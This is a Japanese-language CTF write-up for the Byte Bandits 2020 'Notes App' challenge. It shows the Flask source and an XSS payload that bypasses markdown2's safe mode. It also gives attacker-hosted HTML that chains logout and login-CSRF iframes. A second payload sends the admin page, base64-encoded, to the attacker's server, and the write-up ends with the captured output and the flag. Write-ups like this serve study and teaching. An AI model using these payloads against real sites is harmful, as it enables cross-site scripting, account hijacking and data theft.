Byte Bandits CTF 2020 Writeup - Notes App
Question
noob just created a secure app to write notes. Show him how secure it really is! https://notes.web.byteband.it/
Solution
調査
ソースコードが添付されている。
main.pyのみ、以下に転記する。
import os from flask import Flask, render_template, request, flash, redirect from flask_sqlalchemy import SQLAlchemy from flask_login import LoginManager from flask_login import login_required, logout_user, current_user, login_user import markdown2 import requests from .models import User from . import db, create_app, login_manager from .visit_link import q, visit_url app = create_app() # configure login_manager {{{1 # @login_manager.user_loader def load_user(user_id): """Check if user is logged-in on every page load.""" if user_id is not None: return User.query.get(user_id) return None @login_manager.unauthorized_handler def unauthorized(): """Redirect unauthorized users to Login page.""" flash('You must be logged in to view that page.') return redirect("/login") # 1}}} # # configure routes {{{1 # @app.route("/") def index(): if current_user.is_authenticated: return redirect("/profile") return render_template("index.html") @app.route("/register", methods = ["GET", "POST"]) def register(): if current_user.is_authenticated: return redirect("/profile") if request.method == 'POST': # register user id = request.form.get('username') password = request.form.get('password') existing_user = User.query.filter_by(id = id).first() # Check if user exists if existing_user is None: user = User(id = id) user.set_password(password) user.notes = "" db.session.add(user) db.session.commit() # Create new user login_user(user) # Log in as newly created user return redirect("/profile") flash('A user already exists with that name already exists.') return redirect("/register") return render_template("register.html") @app.route("/login", methods = ["GET", "POST"]) def login(): if current_user.is_authenticated: return redirect("/profile") if request.args.get("username"): # register user id = request.args.get('username') password = request.args.get('password') user = User.query.filter_by(id = id).first() if user and user.check_password(password = password): login_user(user) return redirect("/profile") flash('Incorrect creds') return redirect("/login") return render_template("login.html") @app.route("/visit_link", methods=["GET", "POST"]) def visit_link(): if request.method == "POST": url = request.form.get("url") token = request.form.get("g-recaptcha-response") r = requests.post("https://www.google.com/recaptcha/api/siteverify", data = { 'secret': os.environ.get('RECAPTCHA_SECRET'), 'response': token }) if r.json()['success']: job = q.enqueue(visit_url, url, result_ttl = 600) flash("Our admin will visit the url soon.") return render_template("visit_link.html", job_id = job.id) else: flash("Recaptcha verification failed") return render_template("visit_link.html") @app.route("/status") def status(): job_id = request.args.get('job_id') job = q.fetch_job(job_id) status = job.get_status() return render_template("status.html", status = status) @app.route("/profile") @login_required def profile(): return render_template("profile.html", current_user = current_user) @app.route("/update_notes", methods=["POST"]) @login_required def update_notes(): # markdown support!! current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True) db.session.commit() return redirect("/profile") @app.route("/logout") @login_required def logout(): logout_user() return redirect("/") # 1}}} #
以下の機能を持つ。
- /register ユーザ登録
- /login ログイン
- /visit_link 管理者へリンクを送信(その後、管理者がURLへアクセスする)
- /status 管理者がURLへアクセスしたかどうか確認
- /profile 自分のプロファイルを表示
- /update_notes 自分のプロファイルを更新
- /logout ログアウト
フラグは管理者のプロファイルに記録されている。
管理者にXSSを仕掛けた画面にアクセスせて、管理者のプロファイルを窃取する方法を考える。
XSS
プロファイルはマークダウン記法で投稿可能。
markdown2でHTMLに変換している。
@app.route("/update_notes", methods=["POST"]) @login_required def update_notes(): # markdown support!! current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True) db.session.commit() return redirect("/profile")
requirements.txtを確認すると、markdown2==2.3.8
。最新版を使用している。
しかし、githubのissueを見ると、未修正のXSSの脆弱性が残っていることがわかる。
<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>
自分のプロファイルに設定してみる。
アラート表示に成功。
これで管理者を自分のプロファイル画面へ誘導すれば、任意のスクリプトが実行できる。
プロファイル画面への誘導
@app.route("/profile") @login_required def profile(): return render_template("profile.html", current_user = current_user)
/profile
にアクセスすると、現在ログインしているユーザのプロファイルを表示する実装である。
当然だが、管理者に/profile
へアクセスさせても、管理者が自身のプロファイル(フラグ)を表示するだけである。
ここで/login
のソースを確認する。
@app.route("/login", methods = ["GET", "POST"]) def login(): if current_user.is_authenticated: return redirect("/profile") if request.args.get("username"): # register user id = request.args.get('username') password = request.args.get('password') user = User.query.filter_by(id = id).first() if user and user.check_password(password = password): login_user(user) return redirect("/profile") flash('Incorrect creds') return redirect("/login") return render_template("login.html")
GETでusernameとpasswordを受け付けており、ログイン後に/profile
に自動遷移している。
よって、管理者に/login?username=<攻撃者のユーザ名>&password=<攻撃者のパスワード>
へアクセスさせれば、攻撃者のプロファイル画面に誘導できる。ただし、ログイン状態で/login
にアクセスすると、再ログイン処理をせずに/profile
に自動遷移するため、事前に/logout
へアクセスさせる必要がある。
exploit作成
管理者に、攻撃者のアカウントでログインさせた後では、管理者のプロファイルの画面を再表示できない。 よって、事前にiframeで管理者のプロファイル画面を表示させて、別のiframeでログアウトと攻撃者のアカウントへのログインをさせればよい。 そのようなHTMLを自サーバに用意する。
リクエストの順序が重要であるため、3秒間待つ。setTimeoutだとうまくいかなかったため、無理やりsleepさせる。
<html> <head> <script> function sleep(waitMsec){ var startMsec = new Date(); while (new Date() - startMsec < waitMsec); } window.addEventListener('load', function() { var adminframe = document.createElement("iframe"); adminframe.name = "adminframe"; adminframe.src = "https://notes.web.byteband.it/profile"; var body = document.querySelector("body"); body.appendChild(adminframe); sleep(3000); var logoutframe = document.createElement("iframe"); logoutframe.src = "https://notes.web.byteband.it/logout"; body.appendChild(logoutframe); sleep(3000); var loginframe = document.createElement("iframe"); loginframe.src = "https://notes.web.byteband.it/login?username=<攻撃者のユーザ名>&password=<攻撃者のパスワード>"; body.appendChild(loginframe); }, false); </script> </head> </html>
攻撃者のプロファイル画面には、管理者のプロファイル画面が表示されているadminframe
のコンテンツを取得して、攻撃者のサーバに送るスクリプトを仕掛ける。親フレームのHTMLは攻撃者のドメインだが、参照先のadminframe
フレームは出題サーバと同じドメインであるため、クロスドメインにはならない。
<http://g<!s://q?<!-<[<script>location.href='http://<myserver>?q='+btoa(top.adminframe.document.body.innerHTML);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>hoge;/*](http://g)->a>
準備ができたら、管理者に自サーバのHTMLのリンク先を送信する。
アクセスが来た。
?q=CgkJCjxkaXYgY2xhc3M9Imhlcm8gaXMtZnVsbGhlaWdodCBpcy1jZW50ZXJlZCBpcy12Y2VudGVyZWQgaXMtcHJpbWFyeSI Cgk8ZGl2IGNsYXNzPSJoZXJvLWhlYWQiPgoJCTxuYXYgY2xhc3M9Im5hdmJhciI CgkJCTxkaXYgY2xhc3M9ImNvbnRhaW5lciI CgkJCQk8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPgoJCQkJCTxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZiYXItaXRlbSI CgkJCQkJCU15Tm90ZXMKCQkJCQk8L2E CgkJCQk8L2Rpdj4KCQkJCTxkaXYgY2xhc3M9Im5hdmJhci1tZW51Ij4KCQkJCQk8ZGl2IGNsYXNzPSJuYXZiYXItZW5kIj4KCQkJCQkJPHNwYW4gY2xhc3M9Im5hdmJhci1pdGVtIj4KCQkJCQkJCTxhIGhyZWY9Ii9sb2dvdXQiIGNsYXNzPSJidXR0b24gaXMtcHJpbWFyeSBpcy1pbnZlcnRlZCI CgkJCQkJCQkJPHNwYW4 TG9nb3V0PC9zcGFuPgoJCQkJCQkJPC9hPgoJCQkJCQk8L3NwYW4 CgkJCQkJPC9kaXY CgkJCQk8L2Rpdj4KCQkJPC9kaXY CgkJPC9uYXY Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9Imhlcm8tYm9keSBjb2x1bW5zIGlzLWNlbnRlcmVkIGhhcy10ZXh0LWNlbnRlcmVkIj4KCQk8ZGl2IGNsYXNzPSJjb2x1bW4gaXMtNCI CgkJCTxkaXYgY2xhc3M9InRpdGxlIj4KCQkJCUhvd2R5IGFkbWluIQoJCQk8L2Rpdj4KCQkJPCEtLSBzbyB0aGF0IHVzZXIgY2FuIHdyaXRlIGh0bWwgLS0 CgkJCTxwPglmbGFne2NoNDFuX3RIeV8zWHBsb2l0c190MF93MW59IDwvcD4KCQkJPGJyPgoJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iL3VwZGF0ZV9ub3RlcyI CgkJCQk8dGV4dGFyZWEgY2xhc3M9InRleHRhcmVhIiBuYW1lPSJub3RlcyIgcGxhY2Vob2xkZXI9IldyaXRlIHNvbWV0aGluZyBoZXJlIj48L3RleHRhcmVhPgoJCQkJPGlucHV0IGNsYXNzPSJidXR0b24gaXMtZnVsbHdpZHRoIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGRhdGUiIG5hbWU9IiI CgkJCTwvZm9ybT4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KCgo8Zm9vdGVyIGNsYXNzPSJmb290ZXIiPgogIDxkaXYgY2xhc3M9ImNvbnRlbnQgaGFzLXRleHQtY2VudGVyZWQiPgogICAgPHA CiAgICAgIDxzdHJvbmc TXlOb3Rlczwvc3Ryb25nPiBieSBuMG9iLgogICAgPC9wPgogIDwvZGl2Pgo8L2Zvb3Rlcj4KCg==
BASE64デコードする。+がスペースになっているため戻しておく必要がある。
<div class="hero is-fullheight is-centered is-vcentered is-primary"> <div class="hero-head"> <nav class="navbar"> <div class="container"> <div class="navbar-brand"> <a href="/" class="navbar-item"> MyNotes </a> </div> <div class="navbar-menu"> <div class="navbar-end"> <span class="navbar-item"> <a href="/logout" class="button is-primary is-inverted"> <span>Logout</span> </a> </span> </div> </div> </div> </nav> </div> <div class="hero-body columns is-centered has-text-centered"> <div class="column is-4"> <div class="title"> Howdy admin! </div> <!-- so that user can write html --> <p> flag{ch41n_tHy_3Xploits_t0_w1n} </p> <br> <form method="post" action="/update_notes"> <textarea class="textarea" name="notes" placeholder="Write something here"></textarea> <input class="button is-fullwidth" type="submit" value="Update" name=""> </form> </div> </div> </div> <footer class="footer"> <div class="content has-text-centered"> <p> <strong>MyNotes</strong> by n0ob. </p> </div> </footer>
フラグゲット。
flag{ch41n_tHy_3Xploits_t0_w1n}